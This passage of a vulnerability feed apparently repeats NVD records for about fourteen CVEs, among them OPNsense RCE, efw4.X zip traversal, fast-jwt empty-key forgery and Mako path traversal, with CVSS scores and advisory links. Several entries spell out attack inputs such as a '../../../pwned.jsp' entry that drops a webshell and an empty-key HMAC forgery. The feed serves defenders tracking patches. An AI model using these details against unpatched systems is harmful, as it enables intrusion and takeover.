Vendor advisory (via NVD references): https://github.com/opnsense/core/security/advisories/GHSA-f59w-m967-9rf6
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, an authenticated Remote Code Execution (RCE) vulnerability in the OPNsense core allows a user with user-management privileges to execute arbitrary system commands as root. An attacker can bypass input validation by formatting their malicious payload as a compliant email address, allowing shell commands to reach the underlying operating system. The flaw exists in the local user synchronization flow, within core/src/opnsense/scripts/auth/sync_user.php. This vulnerability is fixed in 26.1.8.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wasmtime is a runtime for WebAssembly.
https://kevwire.com/record/CVE-2026-44216
Wasmtime is a runtime for WebAssembly. (May 14, 2026).
Wasmtime is a runtime for WebAssembly. From 30.0.0 to 36.0.8, 43.0.2, and 44.0.1, Wasmtime's allocation logic for a WebAssembly table contained checked arithmetic which panicked on overflow. This overflow is possible to trigger, and thus panic, when a table with an extremely large size is allocated. This is possible with the WebAssembly memory64 proposal where tables can have sizes in the 64-bit range as opposed to the previous 32-bit range which would not overflow. The panic happens when attempting to create a very large table, such as when instantiating a WebAssembly module or component. This vulnerability is fixed in 36.0.8, 43.0.2, and 44.0.1.
CVSS 5.9 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44216).
Sources:
NVD CVE-2026-44216: https://nvd.nist.gov/vuln/detail/CVE-2026-44216
Vendor advisory (via NVD references): https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-p8xm-42r7-89xg
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Wasmtime is a runtime for WebAssembly. From 30.0.0 to 36.0.8, 43.0.2, and 44.0.1, Wasmtime's allocation logic for a WebAssembly table contained checked arithmetic which panicked on overflow. This overflow is possible to trigger, and thus panic, when a table with an extremely large size is allocated. This is possible with the WebAssembly memory64 proposal where tables can have sizes in the 64-bit range as opposed to the previous 32-bit range which would not overflow. The panic happens when attempting to create a very large table, such as when instantiating a WebAssembly module or component. This vulnerability is fixed in 36.0.8, 43.0.2, and 44.0.1.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Micronaut Framework is a JVM-based full stack Java framework designed for building modular, easily testable JVM applications.
https://kevwire.com/record/CVE-2026-44241
Micronaut Framework is a JVM-based full stack Java framework designed for building modular, easily testable JVM applications. (May 12, 2026).
Micronaut Framework is a JVM-based full stack Java framework designed for building modular, easily testable JVM applications. From 4.3.0 to before 4.10.22, 3.10.6, and 3.8.14, TimeConverterRegistrar caches DateTimeFormatter instances in an unbounded ConcurrentHashMap<String, DateTimeFormatter> whose key is derived from the @Format annotation pattern concatenated with the locale from the HTTP Accept-Language header. Because Locale.forLanguageTag() accepts arbitrary BCP 47 private-use extensions (en-x-a001, en-x-a002, …), an unauthenticated attacker can generate an unlimited number of unique cache keys by sending requests with novel locale tags, growing the cache until heap memory is exhausted and the JVM crashes. This vulnerability is fixed in 4.10.22, 3.10.6, and 3.8.14.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44241).
Sources:
NVD CVE-2026-44241: https://nvd.nist.gov/vuln/detail/CVE-2026-44241
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Micronaut Framework is a JVM-based full stack Java framework designed for building modular, easily testable JVM applications. From 4.3.0 to before 4.10.22, 3.10.6, and 3.8.14, TimeConverterRegistrar caches DateTimeFormatter instances in an unbounded ConcurrentHashMap<String, DateTimeFormatter> whose key is derived from the @Format annotation pattern concatenated with the locale from the HTTP Accept-Language header. Because Locale.forLanguageTag() accepts arbitrary BCP 47 private-use extensions (en-x-a001, en-x-a002, …), an unauthenticated attacker can generate an unlimited number of unique cache keys by sending requests with novel locale tags, growing the cache until heap memory is exhausted and the JVM crashes. This vulnerability is fixed in 4.10.22, 3.10.6, and 3.8.14.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### efw4.X is an Enterprise Framework for Web.
https://kevwire.com/record/CVE-2026-44257
efw4.X is an Enterprise Framework for Web. (May 12, 2026).
efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, efw.file.FileManager.unZip writes zip entries to disk using new File(baseDir, zipEntry.getName()) with no canonical-path check. An entry name such as ../../../pwned.jsp escapes the intended extraction directory and lands anywhere the Tomcat process can write — including the servlet context root. Combined with the framework's multipart /uploadServlet and an event that calls file.saveUploadFiles + FileManager.unZip, a remote attacker with no credentials drops a JSP webshell and executes arbitrary commands as the Tomcat user. This vulnerability is fixed in 4.08.010.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44257).
Sources:
NVD CVE-2026-44257: https://nvd.nist.gov/vuln/detail/CVE-2026-44257
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, efw.file.FileManager.unZip writes zip entries to disk using new File(baseDir, zipEntry.getName()) with no canonical-path check. An entry name such as ../../../pwned.jsp escapes the intended extraction directory and lands anywhere the Tomcat process can write — including the servlet context root. Combined with the framework's multipart /uploadServlet and an event that calls file.saveUploadFiles + FileManager.unZip, a remote attacker with no credentials drops a JSP webshell and executes arbitrary commands as the Tomcat user. This vulnerability is fixed in 4.08.010.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### efw4.X is an Enterprise Framework for Web.
https://kevwire.com/record/CVE-2026-44258
efw4.X is an Enterprise Framework for Web. (May 12, 2026).
efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, the elfinder_checkRisk function validates target and targets for path traversal and home containment, but does not validate the dst (destination) parameter used by elfinder_paste. An attacker can copy or move files from within the home directory to any arbitrary destination by setting dst to a base64-encoded traversal path. This bypasses the protected=true security control. This vulnerability is fixed in 4.08.010.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44258).
Sources:
NVD CVE-2026-44258: https://nvd.nist.gov/vuln/detail/CVE-2026-44258
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, the elfinder_checkRisk function validates target and targets for path traversal and home containment, but does not validate the dst (destination) parameter used by elfinder_paste. An attacker can copy or move files from within the home directory to any arbitrary destination by setting dst to a base64-encoded traversal path. This bypasses the protected=true security control. This vulnerability is fixed in 4.08.010.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### efw4.X is an Enterprise Framework for Web.
https://kevwire.com/record/CVE-2026-44260
efw4.X is an Enterprise Framework for Web. (May 12, 2026).
efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, the readonly flag set on the <efw:elFinder> JSP tag is intended to prevent file modifications. When protected=true, elfinder_checkRisk enforces that the client sends readonly=true (matching the session value), but no event handler checks the readonly value before performing write operations. The flag only controls client-side UI elements (disabling buttons) and response metadata (write: 0, locked: 1). An attacker who sends requests directly (bypassing the UI) can perform all file operations despite readonly=true. This vulnerability is fixed in 4.08.010.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44260).
Sources:
NVD CVE-2026-44260: https://nvd.nist.gov/vuln/detail/CVE-2026-44260
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, the readonly flag set on the <efw:elFinder> JSP tag is intended to prevent file modifications. When protected=true, elfinder_checkRisk enforces that the client sends readonly=true (matching the session value), but no event handler checks the readonly value before performing write operations. The flag only controls client-side UI elements (disabling buttons) and response metadata (write: 0, locked: 1). An attacker who sends requests directly (bypassing the UI) can perform all file operations despite readonly=true. This vulnerability is fixed in 4.08.010.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Scramble generates API documentation for Laravel project.
https://kevwire.com/record/CVE-2026-44262
Scramble generates API documentation for Laravel project. (May 12, 2026).
Scramble generates API documentation for Laravel project. From 0.13.2 to before 0.13.22, when documentation endpoints are publicly accessible and validation rules reference user-controlled input, request supplied data may be evaluated during documentation generation, leading to execution of arbitrary PHP code in the application context. This vulnerability is fixed in 0.13.22.
CVSS 9.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44262).
Sources:
NVD CVE-2026-44262: https://nvd.nist.gov/vuln/detail/CVE-2026-44262
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Scramble generates API documentation for Laravel project. From 0.13.2 to before 0.13.22, when documentation endpoints are publicly accessible and validation rules reference user-controlled input, request supplied data may be evaluated during documentation generation, leading to execution of arbitrary PHP code in the application context. This vulnerability is fixed in 0.13.22.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Hugo is a static site generator.
https://kevwire.com/record/CVE-2026-44301
Hugo is a static site generator. (May 12, 2026).
Hugo is a static site generator. From 0.43 to before 0.161.0, when building a Hugo site that uses Node-based asset pipelines (PostCSS, Babel, TailwindCSS), Hugo invoked the configured Node tools without restrictions on file system access. As a result, executing hugo against an untrusted site could allow code running through these tools to read or write files outside the project's working directory. Users who do not use PostCSS, Babel, or TailwindCSS, or who only build trusted sites, are not affected. This vulnerability is fixed in 0.161.0.
CVSS 6.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44301).
Sources:
NVD CVE-2026-44301: https://nvd.nist.gov/vuln/detail/CVE-2026-44301
Vendor advisory (via NVD references): https://github.com/gohugoio/hugo/security/advisories/GHSA-x597-9fr4-5857
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Hugo is a static site generator. From 0.43 to before 0.161.0, when building a Hugo site that uses Node-based asset pipelines (PostCSS, Babel, TailwindCSS), Hugo invoked the configured Node tools without restrictions on file system access. As a result, executing hugo against an untrusted site could allow code running through these tools to read or write files outside the project's working directory. Users who do not use PostCSS, Babel, or TailwindCSS, or who only build trusted sites, are not affected. This vulnerability is fixed in 0.161.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Snappier is a high performance C# implementation of the Snappy compression algorithm.
https://kevwire.com/record/CVE-2026-44302
Snappier is a high performance C# implementation of the Snappy compression algorithm. (May 12, 2026).
Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44302).
Sources:
NVD CVE-2026-44302: https://nvd.nist.gov/vuln/detail/CVE-2026-44302
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lemur manages TLS certificate creation.
https://kevwire.com/record/CVE-2026-44304
Lemur manages TLS certificate creation. (May 12, 2026).
Lemur manages TLS certificate creation. Prior to 1.9.0, Lemur's LDAP authentication module (lemur/auth/ldap.py) constructs LDAP search filters using unsanitized user input via Python string interpolation. An authenticated LDAP user can inject LDAP filter metacharacters through the username field to manipulate group membership queries and escalate their privileges to administrator. This vulnerability is fixed in 1.9.0.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44304).
Sources:
NVD CVE-2026-44304: https://nvd.nist.gov/vuln/detail/CVE-2026-44304
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Lemur manages TLS certificate creation. Prior to 1.9.0, Lemur's LDAP authentication module (lemur/auth/ldap.py) constructs LDAP search filters using unsanitized user input via Python string interpolation. An authenticated LDAP user can inject LDAP filter metacharacters through the username field to manipulate group membership queries and escalate their privileges to administrator. This vulnerability is fixed in 1.9.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mako is a template library written in Python.
https://kevwire.com/record/CVE-2026-44307
Mako is a template library written in Python. (May 12, 2026).
Mako is a template library written in Python. Prior to 1.3.12, on Windows, a URI using backslash traversal (e.g. \..\..\ secret.txt) bypasses the directory traversal check in Template.__init__ and the posixpath-based normalization in TemplateLookup.get_template(), allowing reads of files outside the configured template directory. This vulnerability is fixed in 1.3.12.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44307).
Sources:
NVD CVE-2026-44307: https://nvd.nist.gov/vuln/detail/CVE-2026-44307
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Mako is a template library written in Python. Prior to 1.3.12, on Windows, a URI using backslash traversal (e.g. \..\..\ secret.txt) bypasses the directory traversal check in Template.__init__ and the posixpath-based normalization in TemplateLookup.get_template(), allowing reads of files outside the configured template directory. This vulnerability is fixed in 1.3.12.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### fast-jwt provides fast JSON Web Token (JWT) implementation.
https://kevwire.com/record/CVE-2026-44351
fast-jwt provides fast JSON Web Token (JWT) implementation. (May 13, 2026).
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.2.4, a critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. This vulnerability is fixed in 6.2.4.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44351).
Sources:
NVD CVE-2026-44351: https://nvd.nist.gov/vuln/detail/CVE-2026-44351
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.2.4, a critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. This vulnerability is fixed in 6.2.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MISP modules are autonomous modules that can be used to extend MISP for new services.
https://kevwire.com/record/CVE-2026-44364
MISP modules are autonomous modules that can be used to extend MISP for new services. (May 13, 2026).
MISP modules are autonomous modules that can be used to extend MISP for new services. In 3.0.7 and earlier, a Cross-Site Request Forgery vulnerability in the MISP Modules website allowed an attacker to cause an authenticated user to submit unintended requests to the home endpoint. The vulnerability was due to the home blueprint being exempted from CSRF protection. This could allow modification of session query data in the context of the authenticated user. The issue was fixed by enabling CSRF protection for the affected blueprint and hardening query parsing.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44364).
Sources:
NVD CVE-2026-44364: https://nvd.nist.gov/vuln/detail/CVE-2026-44364
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
MISP modules are autonomous modules that can be used to extend MISP for new services. In 3.0.7 and earlier, a Cross-Site Request Forgery vulnerability in the MISP Modules website allowed an attacker to cause an authenticated user to submit unintended requests to the home endpoint. The vulnerability was due to the home blueprint being exempted from CSRF protection. This could allow modification of session query data in the context of the authenticated user. The issue was fixed by enabling CSRF protection for the affected blueprint and hardening query parsing.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nerdbank.MessagePack is a NativeAOT-compatible MessagePack serialization library.
https://kevwire.com/record/CVE-2026-44375
Nerdbank.MessagePack is a NativeAOT-compatible MessagePack serialization library. (May 14, 2026).
Nerdbank.MessagePack is a NativeAOT-compatible MessagePack serialization library. Prior to 1.1.62, Nerdbank.MessagePack contains an uncontrolled stack allocation vulnerability in DateTime decoding. A malicious MessagePack payload can declare an oversized timestamp extension length, causing the reader to allocate an attacker-controlled number of bytes on the stack. This can trigger a StackOverflowException, which is not catchable by user code and terminates the process. This vulnerability is fixed in 1.1.62.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44375).
Sources:
NVD CVE-2026-44375: https://nvd.nist.gov/vuln/detail/CVE-2026-44375
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Nerdbank.MessagePack is a NativeAOT-compatible MessagePack serialization library. Prior to 1.1.62, Nerdbank.MessagePack contains an uncontrolled stack allocation vulnerability in DateTime decoding. A malicious MessagePack payload can declare an oversized timestamp extension length, causing the reader to allocate an attacker-controlled number of bytes on the stack. This can trigger a StackOverflowException, which is not catchable by user code and terminates the process. This vulnerability is fixed in 1.1.62.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PlaywrightCapture is a simple replacement for splash using playwright.
https://kevwire.com/record/CVE-2026-44439
PlaywrightCapture is a simple replacement for splash using playwright. (May 13, 2026).
PlaywrightCapture is a simple replacement for splash using playwright. Prior to 1.39.6, PlaywrightCapture did not sufficiently restrict navigations and resource requests initiated by rendered pages. An attacker-controlled page could abuse browser-side redirection mechanisms, such as window.location.href, to make the capture process open file:// URLs or request resources hosted on private, loopback, link-local, or otherwise non-public IP addresses. In deployments where PlaywrightCapture processes untrusted URLs, this could allow a remote attacker to perform server-side request forgery against internal services or attempt to access local files from the capture environment. Depending on what capture artifacts are generated and exposed, responses from those resources could potentially be leaked through screenshots, saved page content, logs, or other capture outputs. This vulnerability is fixed in 1.39.6.
CVSS 6.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44439).
Sources:
NVD CVE-2026-44439: https://nvd.nist.gov/vuln/detail/CVE-2026-44439
Vendor advisory (via NVD references): https://github.com/Lookyloo/PlaywrightCapture/security/advisories/GHSA-687h-xw6f-q2qw
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
PlaywrightCapture is a simple replacement for splash using playwright. Prior to 1.39.6, PlaywrightCapture did not sufficiently restrict navigations and resource requests initiated by rendered pages. An attacker-controlled page could abuse browser-side redirection mechanisms, such as window.location.href, to make the capture process open file:// URLs or request resources hosted on private, loopback, link-local, or otherwise non-public IP addresses. In deployments where PlaywrightCapture processes untrusted URLs, this could allow a remote attacker to perform server-side request forgery against internal services or attempt to access local files from the capture environment. Depending on what capture artifacts are generated and exposed, responses from those resources could potentially be leaked through screenshots, saved page content, logs, or other capture outputs. This vulnerability is fixed in 1.39.6.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ERPNext is a free and open source Enterprise Resource Planning tool.
https://kevwire.com/record/CVE-2026-44442
ERPNext is a free and open source Enterprise Resource Planning tool. (May 13, 2026).
ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 16.9.1, certain endpoints failed to enforce proper authorization checks, allowing users to modify data beyond their permitted role. This vulnerability is fixed in 16.9.1.
